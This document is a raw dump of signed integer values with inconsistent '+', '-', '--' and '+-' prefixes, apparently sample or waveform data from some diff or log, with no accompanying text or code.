+-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +105 100 -95 -90 -84 -78 -72 -66 --28 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -101 -98 -95 +97 93 90 -89 85 -82 -77 -72 -67 +80 +74 +69 63 58 --35 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --83 -121 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -101 -98 -94 -93 -91 -88 -85 -82 -77 -73 -67 -62 -57 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 -122 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -116 -107 -101 -97 -95 -93 -90 -88 -85 -81 -77 -72 -67 -62 -57 52 -47 -43 -39 -36 -33 -31 -28 -26 -24 -22 -21 -19 -17 -16 -15 -14 -13 -13 -12 -10 -9 -9 -7 -6 -5 -4 -4 -4 -3 -3 -3 --82 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --97 --92 --86 --81 --59 --70 --66 --62 --57 --53 --50 --47 --44 --40 --37 --35 --33 --30 --29 --27 --25 --23 --21 --20 --19 --17 --16 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -121 -116 -113 -109 -105 -101 -96 -90 -84 -78 -73 -67 -62 -57 -52 -47 -44 -40 -37 -33 -31 -29 -27 -25 -23 -21 -20 -18 -18 -15 -13 -13 -12 -10 -9 -8 -7 -7 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 --92 --85 --80 --59 --71 --65 --61 --57 --54 --50 --47 --43 --41 --38 --35 --33 --31 --29 --26 --25 --23 --22 --20 --18 --17 --16 --14 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -140 -132 -124 -118 -114 -111 -107 -104 -100 -95 -90 -84 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --88 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -117 -107 -101 -99 -95 -93 -90 -89 -85 -82 -77 -72 -67 -63 -57 -53 -48 -45 +46 41 37 -34 -31 -28 -27 -25 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -8 -7 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --94 --85 --80 --59 --71 --65 --61 --57 --54 --51 --48 --43 --40 --38 --36 --33 --30 --28 --27 --25 --23 --21 --20 --18 --17 --16 --15 --13 --12 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -124 -119 -114 -112 -108 -105 -100 -95 -90 -85 -78 -72 -66 -61 -56 -51 -47 -44 -40 -37 -34 -31 -29 -27 -25 -24 -22 -20 -18 -17 -15 -14 -13 -13 -12 -11 -10 -9 -9 -8 -7 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --91 --86 --81 --60 --71 --66 --62 --59 --55 --50 --47 --44 --42 --38 --35 --33 --31 --28 --25 --25 --23 --21 --19 --18 --17 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -115 -112 -109 -105 -100 -95 -89 -85 -78 -72 -67 -62 -56 -52 -47 -43 -40 -37 -34 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --91 --85 --80 --60 --71 --51 --62 --56 --53 --50 --48 --43 --40 --38 --36 --33 --30 --29 --27 --25 --23 --21 --20 --19 --17 --16 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -125 -119 -114 -111 -107 -105 -100 -95 -90 -84 -79 -73 -67 -62 -56 -52 -47 -43 -40 -37 -34 -31 -28 -26 -24 -23 -21 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -105 -99 -96 -93 -92 -89 -87 -84 -81 -76 -72 -66 -62 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --92 --86 --65 --75 --54 --65 --61 --58 --53 --50 --47 --43 --41 --38 --35 --33 --31 --29 --27 --25 --24 --22 --21 --19 --17 --16 --14 --13 --12 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -118 -115 -112 -108 -105 -100 -95 -90 -85 -79 -73 -67 -61 -56 -51 -47 -43 -40 -37 -33 -31 -28 -27 -25 -23 -22 -20 -18 -17 -15 -15 -13 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -115 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -113 -104 -98 -95 -93 -92 -89 -87 -84 -81 -76 -72 -67 -62 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --83 --93 --87 --63 --75 --55 --66 --61 --57 --53 --51 --47 --43 --41 --39 --36 --34 --31 --29 --27 --24 --23 --21 --20 --18 --17 --17 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -114 -111 -107 -104 -99 -95 -90 -84 -79 -73 -67 -62 -57 -52 -47 -43 -40 -36 -33 -31 -29 -28 -25 -23 -22 -20 -18 -17 -15 -15 -13 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --82 --92 --86 --80 --58 --70 --65 --62 --57 --53 --50 --47 --43 --41 --38 --36 --33 --30 --29 --27 --25 --23 --21 --20 --18 --17 --15 --14 --14 --13 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -124 -119 -115 -112 -108 -105 -100 -95 -89 -83 -78 -72 -66 -62 -56 -52 -47 -43 -40 -36 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -15 -13 -12 -11 -10 -9 -9 -8 -7 -6 -6 -5 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --95 --89 -117 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -106 -99 -95 -93 -91 -89 -86 -83 -79 -75 -71 -66 -61 -56 --36 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --83 --91 --86 --65 --76 --54 --65 --62 --58 --54 --50 --47 --44 --41 --37 --35 --33 --30 --28 --27 --25 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -111 -107 -104 -99 -95 -89 -84 -79 -73 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --82 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -130 -115 -107 -101 -98 -95 -93 -91 -88 -85 -81 -77 -72 -67 -62 -57 -52 -47 -43 -39 -36 -33 -31 -28 -25 -24 -22 -20 -19 -17 -16 -14 -14 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --82 --91 --86 --81 --60 --70 --65 --61 --57 --54 --50 --47 --44 --41 --38 --35 --33 --31 --29 --26 --25 --23 --21 --20 --18 --18 --16 --15 --14 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 -99 -95 -90 -85 -79 -73 -67 -62 -56 -52 -47 -43 -39 -36 -33 -31 -29 -27 -25 -23 -21 -19 -18 -17 -16 -14 -13 -13 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 --83 --92 --86 --80 --59 --70 --65 --61 --57 --53 --50 --47 --44 --41 --38 --35 --33 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --14 --13 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -124 -119 -114 -111 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -56 -51 -47 -43 -40 -36 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -15 -15 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -4 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --96 --89 -117 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -128 -114 -106 -99 -96 -93 -92 -89 -87 -83 -80 -76 -72 -66 -61 -56 --36 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --92 --85 --64 --76 --55 --65 --61 --58 --54 --50 --47 --44 --41 --38 --35 --33 --30 --29 --26 --24 --24 --22 --19 --18 --17 --16 --14 --13 --12 --11 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -104 -99 -95 -89 -84 -78 -72 -67 --27 --90 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --87 --97 -123 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -129 -115 -107 -102 -99 -95 -93 -91 -89 -85 -81 -76 -72 -67 -62 -57 --35 --97 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --82 -122 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -131 -116 -107 -101 -98 -95 -93 -91 -88 -84 -81 -77 -72 -67 -62 -57 -53 -47 -43 -40 -37 -33 -31 -28 -26 -24 -22 -21 -19 -17 -16 -15 -14 -12 -12 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 -4 -4 -3 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --82 --92 --87 --81 --59 --70 --66 --62 --57 --53 --50 --47 --43 --40 --37 --35 --33 --30 --28 --27 --25 --23 --22 --20 --19 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 -108 -105 -100 -95 -90 -84 -78 -73 -66 -61 -56 -51 -47 -43 -39 -36 -33 -31 -29 -27 -25 -23 -21 -20 -18 -17 -16 -14 -14 -12 -11 -11 -10 -9 -8 -7 -7 -6 -6 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --89 --97 --92 --87 --81 --59 --70 --66 --61 --56 --53 --49 --47 --43 --40 --38 --35 --33 --30 --28 --27 --25 --23 --21 --20 --19 --17 --15 --15 --13 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -114 -112 -108 -104 -99 -95 -90 -85 -78 -72 -66 -61 -55 -51 -47 -43 -40 -37 -34 -31 -29 -27 -24 -23 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -9 -8 -7 -7 -6 -5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --97 --91 --86 --81 --60 --70 --65 --62 --57 --53 --50 --46 --44 --40 --37 --35 --33 --30 --28 --26 --24 --22 --21 --20 --18 --17 --15 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -131 -123 -119 -115 -111 -107 -103 -99 -95 -89 -84 -79 -73 -67 -62 -56 -52 -47 -43 -39 -36 -33 -31 -28 -26 -24 -22 -21 -19 -18 -17 -15 -14 -13 -12 -11 -11 -10 -9 -8 -7 -7 -6 -5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --82 --91 --86 --81 --59 --69 --65 --61 --58 --53 --50 --47 --44 --41 --38 --36 --33 --31 --29 --27 --25 --23 --21 --19 --19 --18 --17 --14 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -141 -132 -125 -119 -115 -112 -108 -105 -100 -96 -90 -84 -78 -73 -67 -62 -57 -52 -48 -44 -40 -37 -33 -31 -28 -26 -24 -22 -21 -19 -18 -17 -16 -15 -14 -13 -11 -10 -9 -9 -8 -7 -6 -5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --97 --91 --86 --81 --59 --70 --65 --61 --57 --53 --50 --47 --43 --40 --37 --35 --33 --30 --28 --26 --23 --23 --22 --20 --18 --17 --17 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -133 -124 -119 -115 -112 -108 -105 -101 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -44 -40 -37 -34 32 -29 -27 +28 25 -23 -21 -20 +22 18 -17 -15 +16 14 -13 -13 -11 -11 -9 -9 +12 +10 8 -7 6 5 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 --84 --92 +3 +2 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-9 +-9 +-10 +-10 +-10 +-11 +-12 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-112 +-107 +-102 +-97 +-74 -85 -81 --60 --71 +-77 +-72 +-68 -65 --61 --58 --55 --50 --47 --44 --41 +-63 +-60 +-56 +-54 +-51 +-48 +-46 +-43 +-42 -39 --35 --33 --30 --29 --27 --25 --23 --22 --20 --19 --17 --16 --15 --14 --12 --11 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -123 -119 -114 -112 -108 -105 -100 -95 -90 -85 -79 -73 -67 -62 -57 -52 -47 -43 -39 -36 -34 -31 -29 -27 -25 -23 -22 -20 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -6 -5 -5 -4 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --88 --97 --92 --87 --81 --59 --70 --66 --62 --57 --53 --50 --47 --44 --40 +-38 -36 -35 -33 -32 +-30 +-29 -28 -27 +-27 -26 --24 --21 --19 --18 --17 --15 --14 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -114 -112 -108 -104 -99 -95 -89 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +103 +98 +96 +92 +90 85 -79 -73 -67 -62 -57 +80 +74 +70 +64 +58 52 47 -43 -40 +42 37 -34 -31 -29 -27 +32 +28 24 -23 -21 +22 19 -18 -17 16 -15 -13 -13 -11 -11 +14 +12 10 -9 8 -7 -6 6 5 -5 -5 --64 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --91 -118 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -127 -114 -105 -99 -96 -93 -91 -89 -87 -84 -80 -76 -71 -65 -61 -56 --37 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --90 --83 --92 --86 --64 --75 --54 +3 +2 +1 +0 +-1 +-2 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-108 +-102 +-94 +-74 +-85 +-81 +-76 +-71 +-68 -65 --61 --57 +-62 +-58 +-55 -53 -50 +-48 -46 -44 -41 +-40 -38 -36 +-35 +-34 -33 -31 +-30 -29 +-27 +-27 -26 --24 --22 --21 --19 --18 --17 --17 --15 --14 --12 --12 --11 --10 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -113 -108 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +109 104 -100 -95 -90 -85 -78 -73 -67 -62 -57 -53 -47 -44 -40 +99 +96 +93 +89 +84 +80 +75 +70 +64 +58 +52 +46 +41 37 -34 32 28 -26 -24 -22 +25 21 -20 -18 -17 -15 +19 +16 14 +12 +10 +8 +6 +5 +3 +2 +0 +-2 +-3 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +-97 +-107 +-101 +-96 +-74 +-85 +-80 +-77 +-73 +-68 +-64 +-61 +-58 +-55 +-52 +-50 +-48 +-45 +-43 +-42 +-40 +-38 +-36 +-35 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +108 +103 +99 +96 +92 +89 +84 +80 +75 +70 +64 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +17 +14 +12 +10 +8 +6 +4 +2 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-6 +-7 +-8 +-9 +-10 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-107 +-101 +-96 +-73 +-84 +-80 +-77 +-72 +-68 +-65 +-62 +-59 +-56 +-53 +-50 +-48 +-45 +-43 +-41 +-39 +-38 +-36 +-34 +-33 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +116 +109 +104 +100 +98 +93 +90 +85 +80 +75 +69 +63 +58 +52 +47 +41 +36 +32 +28 +25 +22 +19 +16 13 12 -11 10 -10 -9 -8 -7 7 6 5 -5 -4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --90 --83 --92 +3 +1 +0 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-112 +-107 +-101 +-96 +-73 -85 --79 +-81 +-77 +-72 +-68 +-65 +-62 -59 --70 +-55 +-53 +-51 +-48 +-45 +-43 +-42 +-40 +-37 +-36 +-35 +-34 +-32 +-31 +-30 +-29 +-28 +-27 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +116 +109 +104 +99 +96 +92 +88 +84 +80 +75 +70 +63 +58 +52 +47 +42 +37 +32 +28 +25 +22 +18 +16 +14 +12 +10 +8 +6 +4 +2 +2 +0 +-1 +-2 +-2 +-4 +-4 +-6 +-6 +-7 +-8 +-9 +-10 +-11 +-11 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-106 +104 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +113 +99 +91 +85 +81 +78 +76 +74 +72 +68 +65 +60 +56 +50 +46 +41 +-51 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-105 +-98 +-107 +-101 +-79 +-90 +-68 +-80 +-76 +-72 +-68 +-64 +-61 +-59 +-56 +-53 +-50 +-48 +-46 +-43 +-41 +-40 +-38 +-36 +-34 +-33 +-33 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +104 +99 +97 +93 +90 +85 +80 +75 +70 +64 +59 +52 +47 +42 +37 +32 +28 +25 +22 +18 +16 +13 +11 +10 +8 +6 +5 +3 +2 +0 +-1 +-2 +-3 +-4 +-4 +-5 +-6 +-7 +-8 +-8 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-104 +-97 +-108 +-101 +-96 +-75 +-86 +-81 +-76 +-72 +-68 -65 -61 --57 --54 +-58 +-55 +-53 -50 --47 +-48 +-46 -44 --41 +-42 +-40 -38 +-37 -35 --33 +-34 +-32 -31 +-30 -29 -27 --25 --23 --21 --20 --18 --17 --16 --15 --13 --13 --12 --11 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -142 -132 -124 -119 -115 -112 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 108 104 99 -95 +97 +93 +89 +85 +81 +75 +70 +64 +58 +52 +47 +42 +37 +32 +29 +25 +22 +18 +16 +13 +11 +9 +8 +6 +5 +4 +2 +1 +0 +-1 +-2 +-4 +-4 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-80 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-112 +-102 +-97 +-107 +-102 +-97 +-74 +-85 +-81 +-78 +-73 +-68 +-65 +-62 +-60 +-56 +-53 +-51 +-48 +-46 +-44 +-42 +-40 +-38 +-37 +-35 +-34 +-32 +-30 +-29 +-28 +-27 +-26 +-25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +108 +103 +100 +96 +92 89 84 -78 -73 -67 +80 +75 +69 63 57 52 47 -44 -40 -36 -33 -31 -29 -27 +42 +38 +32 +28 25 -23 22 -20 -18 -17 -15 -15 -13 -13 -11 -10 +19 +16 +14 +12 9 8 -7 -7 6 -6 -5 5 4 --65 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --113 --97 --89 --82 --91 --85 +2 +1 +0 +-2 +-2 +-4 +-5 +-6 +-7 +-7 +-8 +-9 +-9 +-10 +-10 +-11 +-79 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-111 +-104 +100 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +98 +89 +84 +82 +79 +77 +75 +72 +69 +66 +61 +56 +50 +46 +41 +-52 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-105 +-98 +-107 +-102 -80 --59 --70 +-90 +-69 +-80 +-77 +-72 +-68 -65 -62 --57 +-59 +-56 -53 +-51 +-48 +-46 +-44 +-42 +-39 +-37 +-36 +-35 +-33 +-31 +-31 +-30 +-29 +-27 +-26 +-26 +-26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +114 +107 +104 +99 +94 +90 +87 +85 +80 +72 +67 +61 +56 +50 +44 +38 +34 +30 +26 +22 +19 +16 +14 +11 +9 +7 +5 +4 +2 +0 +-1 +-2 